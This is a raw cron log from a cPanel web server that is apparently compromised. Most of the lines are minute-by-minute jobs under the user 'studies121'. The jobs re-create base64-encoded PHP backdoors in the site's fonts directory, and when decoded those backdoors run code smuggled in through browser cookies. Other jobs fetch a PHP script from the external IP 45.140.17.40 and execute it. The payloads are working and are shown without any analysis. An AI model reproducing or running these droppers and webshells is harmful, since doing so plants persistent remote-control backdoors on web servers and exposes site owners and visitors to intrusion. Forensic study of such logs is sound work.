Sep  1 05:12:01 ip-184-168-122-23 CROND[24442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:12:01 ip-184-168-122-23 CROND[24441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:12:01 ip-184-168-122-23 CROND[24443]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:12:01 ip-184-168-122-23 CROND[24444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:13:01 ip-184-168-122-23 CROND[24580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:13:01 ip-184-168-122-23 CROND[24582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:13:01 ip-184-168-122-23 CROND[24584]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:13:01 ip-184-168-122-23 CROND[24583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:14:01 ip-184-168-122-23 CROND[24783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:14:01 ip-184-168-122-23 CROND[24785]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:14:01 ip-184-168-122-23 CROND[24787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:14:01 ip-184-168-122-23 CROND[24789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:14:01 ip-184-168-122-23 CROND[24790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:15:01 ip-184-168-122-23 CROND[24905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:15:01 ip-184-168-122-23 CROND[24907]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:15:01 ip-184-168-122-23 CROND[24906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:15:01 ip-184-168-122-23 CROND[24910]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:15:01 ip-184-168-122-23 CROND[24913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:15:01 ip-184-168-122-23 CROND[24909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:16:01 ip-184-168-122-23 CROND[25033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:16:01 ip-184-168-122-23 CROND[25034]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 05:16:01 ip-184-168-122-23 CROND[25036]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:16:01 ip-184-168-122-23 CROND[25037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:16:01 ip-184-168-122-23 CROND[25038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:16:01 ip-184-168-122-23 CROND[25035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:17:01 ip-184-168-122-23 CROND[25173]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:17:01 ip-184-168-122-23 CROND[25175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:17:01 ip-184-168-122-23 CROND[25172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:17:01 ip-184-168-122-23 CROND[25174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:18:01 ip-184-168-122-23 CROND[25279]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:18:01 ip-184-168-122-23 CROND[25281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:18:01 ip-184-168-122-23 CROND[25284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:18:01 ip-184-168-122-23 CROND[25285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:18:01 ip-184-168-122-23 CROND[25283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:19:01 ip-184-168-122-23 CROND[25481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:19:01 ip-184-168-122-23 CROND[25483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:19:01 ip-184-168-122-23 CROND[25485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:19:01 ip-184-168-122-23 CROND[25484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:20:01 ip-184-168-122-23 CROND[25650]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 05:20:01 ip-184-168-122-23 CROND[25654]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 05:20:01 ip-184-168-122-23 CROND[25653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:20:02 ip-184-168-122-23 CROND[25655]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:20:02 ip-184-168-122-23 CROND[25660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:20:02 ip-184-168-122-23 CROND[25663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:20:02 ip-184-168-122-23 CROND[25661]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:20:02 ip-184-168-122-23 CROND[25662]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:20:02 ip-184-168-122-23 CROND[25664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:21:01 ip-184-168-122-23 CROND[25803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:21:01 ip-184-168-122-23 CROND[25804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:21:01 ip-184-168-122-23 CROND[25809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:21:01 ip-184-168-122-23 CROND[25808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:22:01 ip-184-168-122-23 CROND[25910]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:22:01 ip-184-168-122-23 CROND[25909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:22:01 ip-184-168-122-23 CROND[25908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:22:01 ip-184-168-122-23 CROND[25913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:22:01 ip-184-168-122-23 CROND[25915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:23:01 ip-184-168-122-23 CROND[26034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:23:01 ip-184-168-122-23 CROND[26036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:23:01 ip-184-168-122-23 CROND[26035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:23:01 ip-184-168-122-23 CROND[26037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:24:01 ip-184-168-122-23 CROND[26135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:24:01 ip-184-168-122-23 CROND[26142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
